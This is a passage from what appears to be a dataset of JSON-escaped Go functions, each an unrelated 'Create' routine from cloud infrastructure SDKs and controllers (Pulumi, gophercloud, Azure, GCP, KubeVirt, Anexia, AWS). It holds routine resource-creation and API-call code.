err, uri, inputs.Mappable())\n\t\t}\n\t}\n\n\tresp, err := p.waitForResourceOpCompletion(urn, res.Create.CloudAPIOperation, op, nil)\n\tif err != nil {\n\t\tif resp == nil {\n\t\t\treturn nil, errors.Wrapf(err, \"waiting for completion\")\n\t\t}\n\t\t// A partial failure may have occurred because we got an error and a response.\n\t\t// Try reading the resource state and return a partial error if there is some.\n\t\tid, idErr := calculateResourceID(res, inputsMap, resp)\n\t\tif idErr != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"waiting for completion / calculate ID %s\", idErr)\n\t\t}\n\t\treadResp, getErr := p.client.RequestWithTimeout(res.Read.Verb, resources.AssembleURL(res.RootURL, id), \"\", nil, 0)\n\t\tif getErr != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"waiting for completion / read state %s\", getErr)\n\t\t}\n\t\tdefaults, defErr := extractDefaultsFromResponse(res, inputs, readResp)\n\t\tif defErr != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to extract defaults from response: %s\", defErr)\n\t\t}\n\t\tcheckpoint, cpErr := plugin.MarshalProperties(\n\t\t\tcheckpointObject(inputs, defaults, resp),\n\t\t\tplugin.MarshalOptions{Label: fmt.Sprintf(\"%s.partialCheckpoint\", label), KeepSecrets: true, SkipNulls: true},\n\t\t)\n\t\tif cpErr != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"waiting for completion / checkpoint %s\", cpErr)\n\t\t}\n\t\treturn nil, partialError(id, err, checkpoint, req.GetProperties())\n\t}\n\n\t// There are several APIs where the response from the create/operation is non-standard or contains\n\t// stale data. When it comes to checkpointing, we want to store information that strictly matches what we\n\t// get from a subsequent read. As a result, we do an additional read call here and use that to checkpoint state.\n\t// This is likely superfluous/duplicative in many cases but erring on the side of correctness here instead.\n\tid, err := calculateResourceID(res, inputsMap, resp)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"object retrieval failure after successful create / calculate ID %w\", err)\n\t}\n\turl := id\n\tif !strings.HasPrefix(url, \"http\") {\n\t\turl = resources.AssembleURL(res.RootURL, url)\n\t}\n\tresp, err = p.client.RequestWithTimeout(res.Read.Verb, url, \"\", nil, 0)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"object retrieval failure after successful create / read state: %w\", err)\n\t}\n\tdefaults, err := extractDefaultsFromResponse(res, inputs, resp)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to extract defaults from response: %w\", err)\n\t}\n\t// Checkpoint defaults, outputs and inputs into the state.\n\tif isIAMOverlay(urn) {\n\t\tresp = unmodifiedInputs.Mappable()\n\t}\n\tcheckpoint, err := plugin.MarshalProperties(\n\t\tcheckpointObject(unmodifiedInputs, defaults, resp),\n\t\tplugin.MarshalOptions{Label: fmt.Sprintf(\"%s.checkpoint\", label), KeepSecrets: true, SkipNulls: true},\n\t)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to marshal checkpoint: %w\", err)\n\t}\n\n\treturn &rpc.CreateResponse{\n\t\tId: id,\n\t\tProperties: checkpoint,\n\t}, nil\n}", "func Create(c *gophercloud.ServiceClient, opts os.CreateOptsBuilder) os.CreateResult {\n\treturn os.Create(c, opts)\n}", "func (s impl) Create(ctx context.Context, name string, domains []string) error {\n\tsslCertificate := &computev1.SslCertificate{\n\t\tManaged: &computev1.SslCertificateManagedSslCertificate{\n\t\t\tDomains: domains,\n\t\t},\n\t\tName: name,\n\t\tType: typeManaged,\n\t}\n\n\toperation, err := s.service.SslCertificates.Insert(s.projectID, sslCertificate).Do()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn s.waitFor(ctx, operation.Name)\n}", "func Create() *cobra.Command {\n\treturn &cobra.Command{\n\t\tUse: \"create\",\n\t\tShort: \"Create a forensicstore\",\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tstoreName := cmd.Flags().Args()[0]\n\t\t\tstore, err := goforensicstore.NewJSONLite(storeName)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn store.Close()\n\t\t},\n\t}\n}", "func (r *ProjectsService) Create(project *Project) *ProjectsCreateCall {\n\tc := &ProjectsCreateCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "func NewCloudTargetCreateParams() *CloudTargetCreateParams {\n\treturn &CloudTargetCreateParams{\n\t\ttimeout: cr.DefaultTimeout,\n\t}\n}", "func (c *Client) Create(cfg Function) (err error) {\n\tc.progressListener.SetTotal(4)\n\tdefer c.progressListener.Done()\n\n\t// Initialize, writing out a template implementation and a config file.\n\t// TODO: the Function's Initialize parameters are slightly different than\n\t// the Initializer interface, and can thus cause confusion (one passes an\n\t// optional name the other passes root path). This could easily cause\n\t// confusion and thus we may want to rename Initalizer to the more specific\n\t// task it performs: ContextTemplateWriter or similar.\n\tc.progressListener.Increment(\"Initializing new Function project\")\n\terr = c.Initialize(cfg)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Load the now-initialized Function.\n\tf, err := NewFunction(cfg.Root)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Build the now-initialized Function\n\tc.progressListener.Increment(\"Building container image\")\n\tif err = c.Build(f.Root); err != nil {\n\t\treturn\n\t}\n\n\t// Deploy the initialized Function, returning its publicly\n\t// addressible name for possible registration.\n\tc.progressListener.Increment(\"Deploying Function to cluster\")\n\tif err = c.Deploy(f.Root); err != nil {\n\t\treturn\n\t}\n\n\t// Create an external route to the Function\n\tc.progressListener.Increment(\"Creating route to Function\")\n\tif err = c.Route(f.Root); err != nil {\n\t\treturn\n\t}\n\n\tc.progressListener.Complete(\"Create complete\")\n\n\t// TODO: use the knative client during deployment such that the actual final\n\t// route can be returned from the deployment step, passed to the DNS Router\n\t// for routing actual traffic, and returned here.\n\tif c.verbose {\n\t\tfmt.Printf(\"https://%v/\\n\", f.Name)\n\t}\n\treturn\n}", "func (c *SpaceClient) Create(ctx context.Context, r *resource.SpaceCreate) (*resource.Space, error) {\n\tvar space resource.Space\n\t_, err := c.client.post(ctx, \"/v3/spaces\", r, &space)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &space, nil\n}", "func (m *Machine) Create(ctx gocontext.Context) error {\n\tm.machineContext.Logger.Info(fmt.Sprintf(\"Creating VM with role '%s'...\", nodeRole(m.machineContext)))\n\n\tvirtualMachine := newVirtualMachineFromKubevirtMachine(m.machineContext, m.namespace)\n\n\tmutateFn := func() (err error) {\n\t\tif virtualMachine.Labels == nil {\n\t\t\tvirtualMachine.Labels = map[string]string{}\n\t\t}\n\t\tif virtualMachine.Spec.Template.ObjectMeta.Labels == nil {\n\t\t\tvirtualMachine.Spec.Template.ObjectMeta.Labels = map[string]string{}\n\t\t}\n\t\tvirtualMachine.Labels[clusterv1.ClusterLabelName] = m.machineContext.Cluster.Name\n\n\t\tvirtualMachine.Labels[infrav1.KubevirtMachineNameLabel] = m.machineContext.KubevirtMachine.Name\n\t\tvirtualMachine.Labels[infrav1.KubevirtMachineNamespaceLabel] = m.machineContext.KubevirtMachine.Namespace\n\n\t\tvirtualMachine.Spec.Template.ObjectMeta.Labels[infrav1.KubevirtMachineNameLabel] = m.machineContext.KubevirtMachine.Name\n\t\tvirtualMachine.Spec.Template.ObjectMeta.Labels[infrav1.KubevirtMachineNamespaceLabel] = m.machineContext.KubevirtMachine.Namespace\n\t\treturn nil\n\t}\n\tif _, err := controllerutil.CreateOrUpdate(ctx, m.client, virtualMachine, mutateFn); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (net *NetworkCreateInput) CreateNetwork() (CreateNetworkResponse, error) {\n\n\tif status := support.DoesCloudSupports(strings.ToLower(net.Cloud.Name)); status != true {\n\t\treturn CreateNetworkResponse{}, fmt.Errorf(common.DefaultCloudResponse + \"CreateNetwork\")\n\t}\n\n\tswitch strings.ToLower(net.Cloud.Name) {\n\tcase \"aws\":\n\n\t\t// Gets the establish session so that it can carry out the process in cloud\n\t\tsess := (net.Cloud.Client).(*session.Session)\n\n\t\t//authorizing to request further\n\t\tauthinpt := auth.EstablishConnectionInput{Region: net.Cloud.Region, Resource: \"ec2\", Session: sess}\n\n\t\t// Fetching all the networks across cloud aws\n\t\tnetworkin := new(awsnetwork.NetworkCreateInput)\n\t\tnetworkin.Name = net.Name\n\t\tnetworkin.VpcCidr = net.VpcCidr\n\t\tnetworkin.SubCidrs = net.SubCidr\n\t\tnetworkin.Type = net.Type\n\t\tnetworkin.Ports = net.Ports\n\t\tnetworkin.GetRaw = net.Cloud.GetRaw\n\t\tresponse, netErr := networkin.CreateNetwork(authinpt)\n\t\tif netErr != nil {\n\t\t\treturn CreateNetworkResponse{}, netErr\n\t\t}\n\t\treturn CreateNetworkResponse{AwsResponse: response}, nil\n\n\tcase \"azure\":\n\t\treturn CreateNetworkResponse{}, fmt.Errorf(common.DefaultAzResponse)\n\tcase \"gcp\":\n\t\treturn CreateNetworkResponse{}, fmt.Errorf(common.DefaultGcpResponse)\n\tcase \"openstack\":\n\t\treturn CreateNetworkResponse{}, fmt.Errorf(common.DefaultOpResponse)\n\tdefault:\n\t\treturn CreateNetworkResponse{}, fmt.Errorf(common.DefaultCloudResponse + \"CreateNetwork\")\n\t}\n}", "func (client *Client) CreateStack(request *CreateStackRequest) (response *CreateStackResponse, err error) {\n\tresponse = CreateCreateStackResponse()\n\terr = client.DoAction(request, response)\n\treturn\n}", "func Create(c *golangsdk.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToNamespaceCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\treqOpt := &golangsdk.RequestOpts{OkCodes: []int{201}}\n\t_, r.Err = c.Post(rootURL(c), b, &r.Body, reqOpt)\n\treturn\n}", "func (a *UploadsApiService) CreateUpload(ctx context.Context) ApiCreateUploadRequest {\n\treturn ApiCreateUploadRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t}\n}", "func (client CloudEndpointsClient) Create(ctx context.Context, resourceGroupName string, storageSyncServiceName string, syncGroupName string, cloudEndpointName string, parameters CloudEndpointCreateParameters) (result CloudEndpointsCreateFuture, err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/CloudEndpointsClient.Create\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif result.FutureAPI != nil && result.FutureAPI.Response() != nil {\n\t\t\t\tsc = result.FutureAPI.Response().StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tif err := validation.Validate([]validation.Validation{\n\t\t{TargetValue: client.SubscriptionID,\n\t\t\tConstraints: []validation.Constraint{{Target: \"client.SubscriptionID\", Name: validation.MinLength, Rule: 1, Chain: nil}}},\n\t\t{TargetValue: resourceGroupName,\n\t\t\tConstraints: []validation.Constraint{{Target: \"resourceGroupName\", Name: validation.MaxLength, Rule: 90, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.MinLength, Rule: 1, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.Pattern, Rule: `^[-\\w\\._\\(\\)]+$`, Chain: nil}}}}); err != nil {\n\t\treturn result, validation.NewError(\"storagesync.CloudEndpointsClient\", \"Create\", err.Error())\n\t}\n\n\treq, err := client.CreatePreparer(ctx, resourceGroupName, storageSyncServiceName, syncGroupName, cloudEndpointName, parameters)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"storagesync.CloudEndpointsClient\", \"Create\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresult, err = client.CreateSender(req)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"storagesync.CloudEndpointsClient\", \"Create\", result.Response(), \"Failure sending request\")\n\t\treturn\n\t}\n\n\treturn\n}", "func Create(c *golangsdk.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToCertCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\treqOpt := &golangsdk.RequestOpts{OkCodes: []int{200}}\n\t_, r.Err = c.Post(rootURL(c), b, &r.Body, reqOpt)\n\treturn\n}", "func (s *Reconciler) CreateMachine(ctx context.Context) error {\n\t// TODO: update once machine controllers have a way to indicate a machine has been provisoned. https://github.com/kubernetes-sigs/cluster-api/issues/253\n\t// Seeing a node cannot be purely relied upon because the provisioned control plane will not be registering with\n\t// the stack that provisions it.\n\tif s.scope.Machine.Annotations == nil {\n\t\ts.scope.Machine.Annotations = map[string]string{}\n\t}\n\n\tnicName := azure.GenerateNetworkInterfaceName(s.scope.Machine.Name)\n\tif err := s.createNetworkInterface(ctx, nicName); err != nil {\n\t\treturn fmt.Errorf(\"failed to create nic %s for machine %s: %w\", nicName, s.scope.Machine.Name, err)\n\t}\n\n\t// Availability set will be created only if no zones were found for a machine or\n\t// if availability set name was not specified in provider spec\n\tasName, err := s.getOrCreateAvailabilitySet()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create availability set %s for machine %s: %w\", asName, s.scope.Machine.Name, err)\n\t}\n\n\tif err := s.createVirtualMachine(ctx, nicName, asName); err != nil {\n\t\treturn fmt.Errorf(\"failed to create vm %s: %w\", s.scope.Machine.Name, err)\n\t}\n\n\treturn nil\n}", "func Create(rw *RequestWrapper) (*clm.GKECluster, error) {\n\tgkeOps, err := rw.acquire()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif rw.Request.SaveMetaData {\n\t\t// At this point we should have a cluster ready to run test. Need to save\n\t\t// metadata so that following flow can understand the context of cluster, as\n\t\t// well as for Prow usage later\n\t\twriteMetaData(gkeOps.Cluster, gkeOps.Project)\n\t}\n\n\t// set up kube config points to cluster\n\tclusterAuthCmd := fmt.Sprintf(\n\t\t\"gcloud beta container clusters get-credentials %s --region %s --project %s\",\n\t\tgkeOps.Cluster.Name, gkeOps.Cluster.Location, gkeOps.Project)\n\tif out, err := cmd.RunCommand(clusterAuthCmd); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed connecting to cluster: %q, %w\", out, err)\n\t}\n\tif out, err := cmd.RunCommand(\"gcloud config set project \" + gkeOps.Project); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed setting project: %q, %w\", out, err)\n\t}\n\n\treturn gkeOps, nil\n}", "func Create(ctx context.Context, client client.Client, namespace, name string, secretNameWithPrefix bool, class string, data map[string][]byte, keepObjects *bool, injectedLabels map[string]string, forceOverwriteAnnotations *bool) error {\n\tvar (\n\t\tsecretName, secret = NewSecret(client, namespace, name, data, secretNameWithPrefix)\n\t\tmanagedResource = New(client, namespace, name, class, keepObjects, nil, injectedLabels, forceOverwriteAnnotations).WithSecretRef(secretName)\n\t)\n\n\treturn deployManagedResource(ctx, secret, managedResource)\n}", "func (c *Client) CloudProjectUserCreate(projectID, description string) (types.CloudUser, error) {\n\tdata := map[string]string{\n\t\t\"description\": description,\n\t}\n\tuser := types.CloudUser{}\n\treturn user, c.Post(queryEscape(\"/cloud/project/%s/user\", projectID), data, &user)\n}", "func (z *Zones) CreateZone(name string, descr string) error {\n\tvar err error\n\tzone := &ClusterZone{\n\t\tName: name, Description: descr,\n\t}\n\tif z.db.DB().NewRecord(zone) {\n\t\tif err = z.db.DB().Create(&zone).Error; err != nil {\n\t\t\tlogger.Errorln(err.Error())\n\t\t} else {\n\t\t\tlogger.Infof(\"Added a new Zone %s\", name)\n\t\t}\n\t} else {\n\t\terr = fmt.Errorf(\"Unable to add a new Zone '%s'\", name)\n\t\tlogger.Errorln(err.Error())\n\t}\n\n\treturn err\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToAddressScopeCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := client.Post(createURL(client), b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{201},\n\t})\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (a ClustersAPI) Create(cluster httpmodels.CreateReq) (httpmodels.CreateResp, error) {\n\tvar createResp httpmodels.CreateResp\n\n\tresp, err := a.Client.performQuery(http.MethodPost, \"/clusters/create\", cluster, nil)\n\tif err != nil {\n\t\treturn createResp, err\n\t}\n\n\terr = json.Unmarshal(resp, &createResp)\n\treturn createResp, err\n}", "func (c *MockBlockStorageClient) CreateVolume(ctx context.Context, details core.CreateVolumeDetails) (*core.Volume, error) {\n\tid := \"oc1.volume1.xxxx\"\n\tad := \"zkJl:US-ASHBURN-AD-1\"\n\treturn &core.Volume{\n\t\tId: &id,\n\t\tAvailabilityDomain: &ad,\n\t}, nil\n}", "func Create(client *golangsdk.ServiceClient, opts CreateOptsBuilder, clusterId string) (r CreateResult) {\n\tb, err := opts.ToSnapshotCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\t_, r.Err = client.Post(createURL(client, clusterId), b, &r.Body, &golangsdk.RequestOpts{\n\t\tOkCodes: []int{201},\n\t})\n\treturn\n}", "func Create(client *gophercloud.ServiceClient, opts os.CreateOptsBuilder) os.CreateResult {\n\treturn os.Create(client, opts)\n}", "func (cc *Controller) AddClouds(clouds ...Cloud) error {\n\tfor _, c := range clouds {\n\t\tkind := string(c.Type)\n\t\tconstructor := GetConstructor(kind)\n\t\tif constructor == nil {\n\t\t\terr := fmt.Errorf(\"CloudController: no cloud constructor found for kind[%s]\", kind)\n\t\t\tlogdog.Error(err)\n\t\t\treturn err\n\t\t}\n\n\t\topt := convertCloudToOption(c)\n\t\tcloud, err := constructor(opt)\n\t\tif err != nil {\n\t\t\tlogdog.Error(\"CloudController: create cloud error\", logdog.Fields{\"err\": err})\n\t\t\treturn err\n\t\t}\n\t\tcc.Clouds[c.Name] = cloud\n\t\tlogdog.Debug(\"CloudController: add cloud successfully\", logdog.Fields{\"name\": c.Name, \"kind\": kind})\n\t}\n\treturn nil\n}", "func (cl *Client) gceVolumeCreate(ctx context.Context, vca *csp.VolumeCreateArgs, volumeType string, storageType *models.CSPStorageType) (*csp.Volume, error) {\n\tcomputeService, err := cl.getComputeService(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlabels := gceLabelsFromModel(vca.Tags)\n\tif len(labels) == 0 {\n\t\tlabels = nil\n\t}\n\tvar diskName string\n\tif storageID, ok := labels[com.VolTagStorageID]; ok {\n\t\tdiskName = storageID\n\t} else {\n\t\tdiskName = uuidGenerator()\n\t}\n\tdiskName = nuvoNamePrefix + diskName\n\tdisk := &compute.Disk{\n\t\tName: diskName,\n\t\tLabels: labels,\n\t\tSizeGb: util.RoundUpBytes(vca.SizeBytes, units.GiB) / units.GiB,\n\t\tType: volumeType,\n\t}\n\top, err := computeService.Disks().Insert(cl.projectID, cl.attrs[AttrZone].Value, disk).Context(ctx).Do()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err = cl.waitForOperation(ctx, op); err != nil {\n\t\treturn nil, err\n\t}\n\tvol, err := cl.vr.gceVolumeGet(ctx, diskName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn vol, nil\n}", "func Create(ctx context.Context, client *selvpcclient.ServiceClient, createOpts CreateOpts) (*Project, *selvpcclient.ResponseResult, error) {\n\t// Nest create options into the parent \"project\" JSON structure.\n\ttype createProject struct {\n\t\tOptions CreateOpts `json:\"project\"`\n\t}\n\tcreateProjectOpts := &createProject{Options: createOpts}\n\trequestBody, err := json.Marshal(createProjectOpts)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\turl := strings.Join([]string{client.Endpoint, resourceURL}, \"/\")\n\tresponseResult, err := client.DoRequest(ctx, http.MethodPost, url, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tif responseResult.Err != nil {\n\t\treturn nil, responseResult, responseResult.Err\n\t}\n\n\t// Extract a project from the response body.\n\tvar result struct {\n\t\tProject *Project `json:\"project\"`\n\t}\n\terr = responseResult.ExtractResult(&result)\n\tif err != nil {\n\t\treturn nil, responseResult, err\n\t}\n\n\treturn result.Project, responseResult, nil\n}", "func (api *distributedservicecardAPI) Create(obj *cluster.DistributedServiceCard) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ClusterV1().DistributedServiceCard().Create(context.Background(), obj)\n\t\tif err != nil && strings.Contains(err.Error(), \"AlreadyExists\") {\n\t\t\t_, err = apicl.ClusterV1().DistributedServiceCard().Update(context.Background(), obj)\n\n\t\t}\n\t\treturn err\n\t}\n\n\tapi.ct.handleDistributedServiceCardEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Created})\n\treturn nil\n}", "func ExamplePrivateCloudsClient_BeginCreateOrUpdate_privateCloudsCreateOrUpdate() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclientFactory, err := armavs.NewClientFactory(\"<subscription-id>\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\tpoller, err := clientFactory.NewPrivateCloudsClient().BeginCreateOrUpdate(ctx, \"group1\", \"cloud1\", armavs.PrivateCloud{\n\t\tLocation: to.Ptr(\"eastus2\"),\n\t\tTags: map[string]*string{},\n\t\tIdentity: &armavs.PrivateCloudIdentity{\n\t\t\tType: to.Ptr(armavs.ResourceIdentityTypeSystemAssigned),\n\t\t},\n\t\tProperties: &armavs.PrivateCloudProperties{\n\t\t\tManagementCluster: &armavs.ManagementCluster{\n\t\t\t\tClusterSize: to.Ptr[int32](4),\n\t\t\t},\n\t\t\tNetworkBlock: to.Ptr(\"192.168.48.0/22\"),\n\t\t},\n\t\tSKU: &armavs.SKU{\n\t\t\tName: to.Ptr(\"AV36\"),\n\t\t},\n\t}, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to finish the request: %v\", err)\n\t}\n\tres, err := poller.PollUntilDone(ctx, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to pull the result: %v\", err)\n\t}\n\t// You could use response here. We use blank identifier for just demo purposes.\n\t_ = res\n\t// If the HTTP response code is 200 as defined in example definition, your response structure would look as follows. Please pay attention that all the values in the output are fake values for just demo purposes.\n\t// res.PrivateCloud = armavs.PrivateCloud{\n\t// \tName: to.Ptr(\"cloud1\"),\n\t// \tType: to.Ptr(\"Microsoft.AVS/privateClouds\"),\n\t// \tID: to.Ptr(\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/group1/providers/Microsoft.AVS/privateClouds/cloud1\"),\n\t// \tLocation: to.Ptr(\"eastus2\"),\n\t// \tTags: map[string]*string{\n\t// \t},\n\t// \tProperties: &armavs.PrivateCloudProperties{\n\t// \t\tAvailability: &armavs.AvailabilityProperties{\n\t// \t\t\tStrategy: to.Ptr(armavs.AvailabilityStrategySingleZone),\n\t// \t\t\tZone: to.Ptr[int32](1),\n\t// \t\t},\n\t// \t\tIdentitySources: []*armavs.IdentitySource{\n\t// \t\t\t{\n\t// \t\t\t\tName: to.Ptr(\"group1\"),\n\t// \t\t\t\tAlias: to.Ptr(\"groupAlias\"),\n\t// \t\t\t\tBaseGroupDN: to.Ptr(\"ou=baseGroup\"),\n\t// \t\t\t\tBaseUserDN: to.Ptr(\"ou=baseUser\"),\n\t// \t\t\t\tDomain: to.Ptr(\"domain1\"),\n\t// \t\t\t\tPrimaryServer: to.Ptr(\"ldaps://1.1.1.1:636/\"),\n\t// \t\t\t\tSecondaryServer: to.Ptr(\"ldaps://1.1.1.2:636/\"),\n\t// \t\t\t\tSSL: to.Ptr(armavs.SSLEnumEnabled),\n\t// \t\t}},\n\t// \t\tInternet: to.Ptr(armavs.InternetEnumDisabled),\n\t// \t\tManagementCluster: &armavs.ManagementCluster{\n\t// \t\t\tClusterID: to.Ptr[int32](1),\n\t// \t\t\tClusterSize: to.Ptr[int32](4),\n\t// \t\t\tHosts: []*string{\n\t// \t\t\t\tto.Ptr(\"fakehost18.nyc1.kubernetes.center\"),\n\t// \t\t\t\tto.Ptr(\"fakehost19.nyc1.kubernetes.center\"),\n\t// \t\t\t\tto.Ptr(\"fakehost20.nyc1.kubernetes.center\"),\n\t// \t\t\t\tto.Ptr(\"fakehost21.nyc1.kubernetes.center\")},\n\t// \t\t\t},\n\t// \t\t\tCircuit: &armavs.Circuit{\n\t// \t\t\t\tExpressRouteID: to.Ptr(\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/tnt13-41a90db2-9d5e-4bd5-a77a-5ce7b58213d6-eastus2/providers/Microsoft.Network/expressroutecircuits/tnt13-41a90db2-9d5e-4bd5-a77a-5ce7b58213d6-eastus2-xconnect\"),\n\t// \t\t\t\tPrimarySubnet: to.Ptr(\"192.168.53.0/30\"),\n\t// \t\t\t\tSecondarySubnet: to.Ptr(\"192.168.53.4/30\"),\n\t// \t\t\t},\n\t// \t\t\tEndpoints: &armavs.Endpoints{\n\t// \t\t\t\tNsxtManager: to.Ptr(\"https://192.168.50.3/\"),\n\t// \t\t\t\tVcsa: to.Ptr(\"https://192.168.50.2/\"),\n\t// \t\t\t},\n\t// \t\t\tExternalCloudLinks: []*string{\n\t// \t\t\t\tto.Ptr(\"/subscriptions/12341234-1234-1234-1234-123412341234/resourceGroups/mygroup/providers/Microsoft.AVS/privateClouds/cloud2\")},\n\t// \t\t\t\tNetworkBlock: to.Ptr(\"192.168.48.0/22\"),\n\t// \t\t\t\tProvisioningState: to.Ptr(armavs.PrivateCloudProvisioningStateSucceeded),\n\t// \t\t\t},\n\t// \t\t\tSKU: &armavs.SKU{\n\t// \t\t\t\tName: to.Ptr(\"AV36\"),\n\t// \t\t\t},\n\t// \t\t}\n}", "func (p *provider) Create(machine *v1alpha1.Machine, providerData *cloudprovidertypes.ProviderData, userdata string) (instance.Instance, error) {\n\tconfig, _, err := p.getConfig(machine.Spec.ProviderSpec)\n\tif err != nil {\n\t\treturn nil, newError(common.InvalidConfigurationMachineError, \"failed to parse MachineSpec: %v\", err)\n\t}\n\n\tapiClient := getClient(config.Token)\n\tctx, cancel := context.WithTimeout(context.Background(), anxtypes.CreateRequestTimeout)\n\tdefer cancel()\n\n\tstatus, err := getStatus(machine.Status.ProviderStatus)\n\tif err != nil {\n\t\treturn nil, newError(common.InvalidConfigurationMachineError, \"failed to get machine status: %v\", err)\n\t}\n\n\tif status.ProvisioningID == \"\" {\n\t\tips, err := apiClient.VSphere().Provisioning().IPs().GetFree(ctx, config.LocationID, config.VlanID)\n\t\tif err != nil {\n\t\t\treturn nil, newError(common.InvalidConfigurationMachineError, \"failed to get ip pool: %v\", err)\n\t\t}\n\t\tif len(ips) < 1 {\n\t\t\treturn nil, newError(common.InsufficientResourcesMachineError, \"no ip address is available for this machine\")\n\t\t}\n\n\t\tipID := ips[0].Identifier\n\t\tnetworkInterfaces := []anxvm.Network{{\n\t\t\tNICType: anxtypes.VmxNet3NIC,\n\t\t\tIPs: []string{ipID},\n\t\t\tVLAN: config.VlanID,\n\t\t}}\n\n\t\tvm := apiClient.VSphere().Provisioning().VM().NewDefinition(\n\t\t\tconfig.LocationID,\n\t\t\t\"templates\",\n\t\t\tconfig.TemplateID,\n\t\t\tmachine.ObjectMeta.Name,\n\t\t\tconfig.CPUs,\n\t\t\tconfig.Memory,\n\t\t\tconfig.DiskSize,\n\t\t\tnetworkInterfaces,\n\t\t)\n\n\t\tvm.Script = base64.StdEncoding.EncodeToString(\n\t\t\t[]byte(fmt.Sprintf(\"anexia: true\\n\\n%s\", userdata)),\n\t\t)\n\n\t\tsshKey, err := ssh.NewKey()\n\t\tif err != nil {\n\t\t\treturn nil, newError(common.CreateMachineError, \"failed to generate ssh key: %v\", err)\n\t\t}\n\t\tvm.SSH = sshKey.PublicKey\n\n\t\tprovisionResponse, err := apiClient.VSphere().Provisioning().VM().Provision(ctx, vm)\n\t\tif err != nil {\n\t\t\treturn nil, newError(common.CreateMachineError, \"instance provisioning failed: %v\", err)\n\t\t}\n\n\t\tstatus.ProvisioningID = provisionResponse.Identifier\n\t\tstatus.IPAllocationID = ipID\n\t\tif err := updateStatus(machine, status, providerData.Update); err != nil {\n\t\t\treturn nil, newError(common.UpdateMachineError, \"machine status update failed: %v\", err)\n\t\t}\n\t}\n\n\tinstanceID, err := apiClient.VSphere().Provisioning().Progress().AwaitCompletion(ctx, status.ProvisioningID)\n\tif err != nil {\n\t\treturn nil, newError(common.CreateMachineError, \"instance provisioning failed: %v\", err)\n\t}\n\n\tstatus.InstanceID = instanceID\n\tif err := updateStatus(machine, status, providerData.Update); err != nil {\n\t\treturn nil, newError(common.UpdateMachineError, \"machine status update failed: %v\", err)\n\t}\n\n\treturn p.Get(machine, providerData)\n}", "func (c *Client) CreateGovCloudAccount(ctx context.Context, params *CreateGovCloudAccountInput, optFns ...func(*Options)) (*CreateGovCloudAccountOutput, error) {\n\tif params == nil {\n\t\tparams = &CreateGovCloudAccountInput{}\n\t}\n\n\tresult, metadata, err := c.invokeOperation(ctx, \"CreateGovCloudAccount\", params, optFns, c.addOperationCreateGovCloudAccountMiddlewares)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := result.(*CreateGovCloudAccountOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}", "func (c *TestClient) CreateDisk(project, zone string, d *compute.Disk) error {\n\tif c.CreateDiskFn != nil {\n\t\treturn c.CreateDiskFn(project, zone, d)\n\t}\n\treturn 